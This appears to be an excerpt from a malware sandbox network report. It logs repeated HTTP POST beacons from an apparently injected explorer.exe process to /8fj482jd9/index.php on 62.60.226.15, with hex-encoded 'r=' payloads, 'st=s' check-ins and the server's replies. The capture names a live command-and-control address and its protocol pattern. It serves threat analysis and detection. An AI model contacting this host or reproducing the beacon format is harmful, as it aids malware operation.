Dec 16, 2024 15:27:29.146754980 CET	305	OUT	POST /8fj482jd9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.60.226.15 Content-Length: 152 Cache-Control: no-cache Data Raw: 72 3d 33 44 36 30 32 35 38 37 41 42 31 31 38 32 44 43 42 46 34 38 32 41 30 32 33 33 33 31 36 32 45 37 33 45 44 35 42 30 30 34 38 46 46 41 39 45 42 42 41 36 33 33 34 32 43 30 31 34 39 31 34 30 30 35 38 36 35 33 32 34 41 38 37 32 44 39 32 35 37 39 33 42 35 37 36 44 36 31 35 39 39 36 31 35 38 32 37 43 34 30 33 31 33 41 43 36 31 31 37 36 38 34 37 44 37 41 39 43 35 41 32 45 45 36 39 46 30 35 37 34 36 41 32 32 36 36 34 45 30 39 36 36 38 38 38 35 30 34 39 31 Data Ascii: r=3D602587AB1182DCBF482A02333162E73ED5B0048FFA9EBBA63342C014914005865324A872D925793B576D61599615827C40313AC61176847D7A9C5A2EE69F05746A22664E096688850491
Dec 16, 2024 15:27:30.416800022 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 (Ubuntu) Date: Mon, 16 Dec 2024 14:27:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.10	49739	62.60.226.15	80	2972	C:\Windows\SysWOW64\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 15:27:32.156647921 CET	155	OUT	POST /8fj482jd9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.60.226.15 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 16, 2024 15:27:33.426440001 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 (Ubuntu) Date: Mon, 16 Dec 2024 14:27:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.10	49740	62.60.226.15	80	2972	C:\Windows\SysWOW64\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 15:27:35.061167955 CET	305	OUT	POST /8fj482jd9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.60.226.15 Content-Length: 152 Cache-Control: no-cache Data Raw: 72 3d 33 44 36 30 32 35 38 37 41 42 31 31 38 32 44 43 42 46 34 38 32 41 30 32 33 33 33 31 36 32 45 37 33 45 44 35 42 30 30 34 38 46 46 41 39 45 42 42 41 36 33 33 34 32 43 30 31 34 39 31 34 30 30 35 38 36 35 33 32 34 41 38 37 32 44 39 32 35 37 39 33 42 35 37 36 44 36 31 35 39 39 36 31 35 38 32 37 43 34 30 33 31 33 41 43 36 31 31 37 36 38 34 37 44 37 41 39 43 35 41 32 45 45 36 39 46 30 35 37 34 36 41 32 32 36 36 34 45 30 39 36 36 38 38 38 35 30 34 39 31 Data Ascii: r=3D602587AB1182DCBF482A02333162E73ED5B0048FFA9EBBA63342C014914005865324A872D925793B576D61599615827C40313AC61176847D7A9C5A2EE69F05746A22664E096688850491
Dec 16, 2024 15:27:36.331129074 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 (Ubuntu) Date: Mon, 16 Dec 2024 14:27:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.10	49741	62.60.226.15	80	2972	C:\Windows\SysWOW64\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 15:27:38.076776028 CET	155	OUT	POST /8fj482jd9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.60.226.15 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 16, 2024 15:27:39.343921900 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 (Ubuntu) Date: Mon, 16 Dec 2024 14:27:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.10	49742	62.60.226.15	80	2972	C:\Windows\SysWOW64\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 15:27:40.972737074 CET	305	OUT	POST /8fj482jd9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.60.226.15 Content-Length: 152 Cache-Control: no-cache Data Raw: 72 3d 33 44 36 30 32 35 38 37 41 42 31 31 38 32 44 43 42 46 34 38 32 41 30 32 33 33 33 31 36 32 45 37 33 45 44 35 42 30 30 34 38 46 46 41 39 45 42 42 41 36 33 33 34 32 43 30 31 34 39 31 34 30 30 35 38 36 35 33 32 34 41 38 37 32 44 39 32 35 37 39 33 42 35 37 36 44 36 31 35 39 39 36 31 35 38 32 37 43 34 30 33 31 33 41 43 36 31 31 37 36 38 34 37 44 37 41 39 43 35 41 32 45 45 36 39 46 30 35 37 34 36 41 32 32 36 36 34 45 30 39 36 36 38 38 38 35 30 34 39 31 Data Ascii: r=3D602587AB1182DCBF482A02333162E73ED5B0048FFA9EBBA63342C014914005865324A872D925793B576D61599615827C40313AC61176847D7A9C5A2EE69F05746A22664E096688850491

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.10	49744	62.60.226.15	80	2972	C:\Windows\SysWOW64\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 15:27:46.720798969 CET	155	OUT	POST /8fj482jd9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.60.226.15 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 16, 2024 15:27:47.992178917 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 (Ubuntu) Date: Mon, 16 Dec 2024 14:27:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.10	49745	62.60.226.15	80	2972	C:\Windows\SysWOW64\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 15:27:49.626089096 CET	305	OUT	POST /8fj482jd9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.60.226.15 Content-Length: 152 Cache-Control: no-cache Data Raw: 72 3d 33 44 36 30 32 35 38 37 41 42 31 31 38 32 44 43 42 46 34 38 32 41 30 32 33 33 33 31 36 32 45 37 33 45 44 35 42 30 30 34 38 46 46 41 39 45 42 42 41 36 33 33 34 32 43 30 31 34 39 31 34 30 30 35 38 36 35 33 32 34 41 38 37 32 44 39 32 35 37 39 33 42 35 37 36 44 36 31 35 39 39 36 31 35 38 32 37 43 34 30 33 31 33 41 43 36 31 31 37 36 38 34 37 44 37 41 39 43 35 41 32 45 45 36 39 46 30 35 37 34 36 41 32 32 36 36 34 45 30 39 36 36 38 38 38 35 30 34 39 31 Data Ascii: r=3D602587AB1182DCBF482A02333162E73ED5B0048FFA9EBBA63342C014914005865324A872D925793B576D61599615827C40313AC61176847D7A9C5A2EE69F05746A22664E096688850491
Dec 16, 2024 15:27:50.896311998 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 (Ubuntu) Date: Mon, 16 Dec 2024 14:27:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.10	49746	62.60.226.15	80	2972	C:\Windows\SysWOW64\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 15:27:52.641288042 CET	155	OUT	POST /8fj482jd9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.60.226.15 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 16, 2024 15:27:53.914063931 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 (Ubuntu) Date: Mon, 16 Dec 2024 14:27:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.10	49747	62.60.226.15	80	2972	C:\Windows\SysWOW64\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 15:27:55.547861099 CET	305	OUT	POST /8fj482jd9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.60.226.15 Content-Length: 152 Cache-Control: no-cache Data Raw: 72 3d 33 44 36 30 32 35 38 37 41 42 31 31 38 32 44 43 42 46 34 38 32 41 30 32 33 33 33 31 36 32 45 37 33 45 44 35 42 30 30 34 38 46 46 41 39 45 42 42 41 36 33 33 34 32 43 30 31 34 39 31 34 30 30 35 38 36 35 33 32 34 41 38 37 32 44 39 32 35 37 39 33 42 35 37 36 44 36 31 35 39 39 36 31 35 38 32 37 43 34 30 33 31 33 41 43 36 31 31 37 36 38 34 37 44 37 41 39 43 35 41 32 45 45 36 39 46 30 35 37 34 36 41 32 32 36 36 34 45 30 39 36 36 38 38 38 35 30 34 39 31 Data Ascii: r=3D602587AB1182DCBF482A02333162E73ED5B0048FFA9EBBA63342C014914005865324A872D925793B576D61599615827C40313AC61176847D7A9C5A2EE69F05746A22664E096688850491
Dec 16, 2024 15:27:56.847098112 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 (Ubuntu) Date: Mon, 16 Dec 2024 14:27:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.10	49748	62.60.226.15	80	2972	C:\Windows\SysWOW64\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 15:27:58.594050884 CET	155	OUT	POST /8fj482jd9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.60.226.15 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 16, 2024 15:27:59.914592981 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 (Ubuntu) Date: Mon, 16 Dec 2024 14:27:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.10	49749	62.60.226.15	80	2972	C:\Windows\SysWOW64\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 15:28:01.628324986 CET	305	OUT	POST /8fj482jd9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.60.226.15 Content-Length: 152 Cache-Control: no-cache Data Raw: 72 3d 33 44 36 30 32 35 38 37 41 42 31 31 38 32 44 43 42 46 34 38 32 41 30 32 33 33 33 31 36 32 45 37 33 45 44 35 42 30 30 34 38 46 46 41 39 45 42 42 41 36 33 33 34 32 43 30 31 34 39 31 34 30 30 35 38 36 35 33 32 34 41 38 37 32 44 39 32 35 37 39 33 42 35 37 36 44 36 31 35 39 39 36 31 35 38 32 37 43 34 30 33 31 33 41 43 36 31 31 37 36 38 34 37 44 37 41 39 43 35 41 32 45 45 36 39 46 30 35 37 34 36 41 32 32 36 36 34 45 30 39 36 36 38 38 38 35 30 34 39 31 Data Ascii: r=3D602587AB1182DCBF482A02333162E73ED5B0048FFA9EBBA63342C014914005865324A872D925793B576D61599615827C40313AC61176847D7A9C5A2EE69F05746A22664E096688850491
Dec 16, 2024 15:28:02.874509096 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 (Ubuntu) Date: Mon, 16 Dec 2024 14:28:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.10	49750	62.60.226.15	80	2972	C:\Windows\SysWOW64\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 15:28:04.655003071 CET	155	OUT	POST /8fj482jd9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.60.226.15 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 16, 2024 15:28:05.949956894 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 (Ubuntu) Date: Mon, 16 Dec 2024 14:28:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.10	49751	62.60.226.15	80	2972	C:\Windows\SysWOW64\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 15:28:07.578259945 CET	305	OUT	POST /8fj482jd9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.60.226.15 Content-Length: 152 Cache-Control: no-cache Data Raw: 72 3d 33 44 36 30 32 35 38 37 41 42 31 31 38 32 44 43 42 46 34 38 32 41 30 32 33 33 33 31 36 32 45 37 33 45 44 35 42 30 30 34 38 46 46 41 39 45 42 42 41 36 33 33 34 32 43 30 31 34 39 31 34 30 30 35 38 36 35 33 32 34 41 38 37 32 44 39 32 35 37 39 33 42 35 37 36 44 36 31 35 39 39 36 31 35 38 32 37 43 34 30 33 31 33 41 43 36 31 31 37 36 38 34 37 44 37 41 39 43 35 41 32 45 45 36 39 46 30 35 37 34 36 41 32 32 36 36 34 45 30 39 36 36 38 38 38 35 30 34 39 31 Data Ascii: r=3D602587AB1182DCBF482A02333162E73ED5B0048FFA9EBBA63342C014914005865324A872D925793B576D61599615827C40313AC61176847D7A9C5A2EE69F05746A22664E096688850491
Dec 16, 2024 15:28:08.862075090 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 (Ubuntu) Date: Mon, 16 Dec 2024 14:28:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.10	49752	62.60.226.15	80	2972	C:\Windows\SysWOW64\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 15:28:10.610791922 CET	155	OUT	POST /8fj482jd9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.60.226.15 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 16, 2024 15:28:11.888140917 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 (Ubuntu) Date: Mon, 16 Dec 2024 14:28:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.10	49753	62.60.226.15	80	2972	C:\Windows\SysWOW64\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 15:28:13.517308950 CET	305	OUT	POST /8fj482jd9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.60.226.15 Content-Length: 152 Cache-Control: no-cache Data Raw: 72 3d 33 44 36 30 32 35 38 37 41 42 31 31 38 32 44 43 42 46 34 38 32 41 30 32 33 33 33 31 36 32 45 37 33 45 44 35 42 30 30 34 38 46 46 41 39 45 42 42 41 36 33 33 34 32 43 30 31 34 39 31 34 30 30 35 38 36 35 33 32 34 41 38 37 32 44 39 32 35 37 39 33 42 35 37 36 44 36 31 35 39 39 36 31 35 38 32 37 43 34 30 33 31 33 41 43 36 31 31 37 36 38 34 37 44 37 41 39 43 35 41 32 45 45 36 39 46 30 35 37 34 36 41 32 32 36 36 34 45 30 39 36 36 38 38 38 35 30 34 39 31 Data Ascii: r=3D602587AB1182DCBF482A02333162E73ED5B0048FFA9EBBA63342C014914005865324A872D925793B576D61599615827C40313AC61176847D7A9C5A2EE69F05746A22664E096688850491
Dec 16, 2024 15:28:14.913259983 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 (Ubuntu) Date: Mon, 16 Dec 2024 14:28:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.10	49754	62.60.226.15	80	2972	C:\Windows\SysWOW64\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 15:28:16.657264948 CET	155	OUT	POST /8fj482jd9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.60.226.15 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 16, 2024 15:28:17.950202942 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 (Ubuntu) Date: Mon, 16 Dec 2024 14:28:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.10	49755	62.60.226.15	80	2972	C:\Windows\SysWOW64\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 15:28:19.585283995 CET	305	OUT	POST /8fj482jd9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.60.226.15 Content-Length: 152 Cache-Control: no-cache Data Raw: 72 3d 33 44 36 30 32 35 38 37 41 42 31 31 38 32 44 43 42 46 34 38 32 41 30 32 33 33 33 31 36 32 45 37 33 45 44 35 42 30 30 34 38 46 46 41 39 45 42 42 41 36 33 33 34 32 43 30 31 34 39 31 34 30 30 35 38 36 35 33 32 34 41 38 37 32 44 39 32 35 37 39 33 42 35 37 36 44 36 31 35 39 39 36 31 35 38 32 37 43 34 30 33 31 33 41 43 36 31 31 37 36 38 34 37 44 37 41 39 43 35 41 32 45 45 36 39 46 30 35 37 34 36 41 32 32 36 36 34 45 30 39 36 36 38 38 38 35 30 34 39 31 Data Ascii: r=3D602587AB1182DCBF482A02333162E73ED5B0048FFA9EBBA63342C014914005865324A872D925793B576D61599615827C40313AC61176847D7A9C5A2EE69F05746A22664E096688850491
Dec 16, 2024 15:28:20.870526075 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 (Ubuntu) Date: Mon, 16 Dec 2024 14:28:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.10	49756	62.60.226.15	80	2972	C:\Windows\SysWOW64\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 15:28:22.611706972 CET	155	OUT	POST /8fj482jd9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.60.226.15 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 16, 2024 15:28:23.925257921 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 (Ubuntu) Date: Mon, 16 Dec 2024 14:28:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.10	49757	62.60.226.15	80	2972	C:\Windows\SysWOW64\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 15:28:25.563541889 CET	305	OUT	POST /8fj482jd9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.60.226.15 Content-Length: 152 Cache-Control: no-cache Data Raw: 72 3d 33 44 36 30 32 35 38 37 41 42 31 31 38 32 44 43 42 46 34 38 32 41 30 32 33 33 33 31 36 32 45 37 33 45 44 35 42 30 30 34 38 46 46 41 39 45 42 42 41 36 33 33 34 32 43 30 31 34 39 31 34 30 30 35 38 36 35 33 32 34 41 38 37 32 44 39 32 35 37 39 33 42 35 37 36 44 36 31 35 39 39 36 31 35 38 32 37 43 34 30 33 31 33 41 43 36 31 31 37 36 38 34 37 44 37 41 39 43 35 41 32 45 45 36 39 46 30 35 37 34 36 41 32 32 36 36 34 45 30 39 36 36 38 38 38 35 30 34 39 31 Data Ascii: r=3D602587AB1182DCBF482A02333162E73ED5B0048FFA9EBBA63342C014914005865324A872D925793B576D61599615827C40313AC61176847D7A9C5A2EE69F05746A22664E096688850491
Dec 16, 2024 15:28:26.839324951 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 (Ubuntu) Date: Mon, 16 Dec 2024 14:28:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.10	49758	62.60.226.15	80	2972	C:\Windows\SysWOW64\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 15:28:28.598573923 CET	155	OUT	POST /8fj482jd9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.60.226.15 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 16, 2024 15:28:29.870234966 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 (Ubuntu) Date: Mon, 16 Dec 2024 14:28:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.10	49759	62.60.226.15	80	2972	C:\Windows\SysWOW64\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 15:28:31.501028061 CET	305	OUT	POST /8fj482jd9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.60.226.15 Content-Length: 152 Cache-Control: no-cache Data Raw: 72 3d 33 44 36 30 32 35 38 37 41 42 31 31 38 32 44 43 42 46 34 38 32 41 30 32 33 33 33 31 36 32 45 37 33 45 44 35 42 30 30 34 38 46 46 41 39 45 42 42 41 36 33 33 34 32 43 30 31 34 39 31 34 30 30 35 38 36 35 33 32 34 41 38 37 32 44 39 32 35 37 39 33 42 35 37 36 44 36 31 35 39 39 36 31 35 38 32 37 43 34 30 33 31 33 41 43 36 31 31 37 36 38 34 37 44 37 41 39 43 35 41 32 45 45 36 39 46 30 35 37 34 36 41 32 32 36 36 34 45 30 39 36 36 38 38 38 35 30 34 39 31 Data Ascii: r=3D602587AB1182DCBF482A02333162E73ED5B0048FFA9EBBA63342C014914005865324A872D925793B576D61599615827C40313AC61176847D7A9C5A2EE69F05746A22664E096688850491
Dec 16, 2024 15:28:32.799202919 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 (Ubuntu) Date: Mon, 16 Dec 2024 14:28:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.10	49760	62.60.226.15	80	2972	C:\Windows\SysWOW64\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 15:28:34.547209024 CET	155	OUT	POST /8fj482jd9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.60.226.15 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 16, 2024 15:28:35.816580057 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 (Ubuntu) Date: Mon, 16 Dec 2024 14:28:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.10	49761	62.60.226.15	80	2972	C:\Windows\SysWOW64\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 15:28:37.454210997 CET	305	OUT	POST /8fj482jd9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.60.226.15 Content-Length: 152 Cache-Control: no-cache Data Raw: 72 3d 33 44 36 30 32 35 38 37 41 42 31 31 38 32 44 43 42 46 34 38 32 41 30 32 33 33 33 31 36 32 45 37 33 45 44 35 42 30 30 34 38 46 46 41 39 45 42 42 41 36 33 33 34 32 43 30 31 34 39 31 34 30 30 35 38 36 35 33 32 34 41 38 37 32 44 39 32 35 37 39 33 42 35 37 36 44 36 31 35 39 39 36 31 35 38 32 37 43 34 30 33 31 33 41 43 36 31 31 37 36 38 34 37 44 37 41 39 43 35 41 32 45 45 36 39 46 30 35 37 34 36 41 32 32 36 36 34 45 30 39 36 36 38 38 38 35 30 34 39 31 Data Ascii: r=3D602587AB1182DCBF482A02333162E73ED5B0048FFA9EBBA63342C014914005865324A872D925793B576D61599615827C40313AC61176847D7A9C5A2EE69F05746A22664E096688850491
Dec 16, 2024 15:28:38.749696970 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 (Ubuntu) Date: Mon, 16 Dec 2024 14:28:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.10	49762	62.60.226.15	80	2972	C:\Windows\SysWOW64\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 15:28:40.577435017 CET	155	OUT	POST /8fj482jd9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.60.226.15 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 16, 2024 15:28:41.844940901 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 (Ubuntu) Date: Mon, 16 Dec 2024 14:28:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.10	49763	62.60.226.15	80	2972	C:\Windows\SysWOW64\explorer.exe

Timestamp	Bytes transferred	Direction	Data
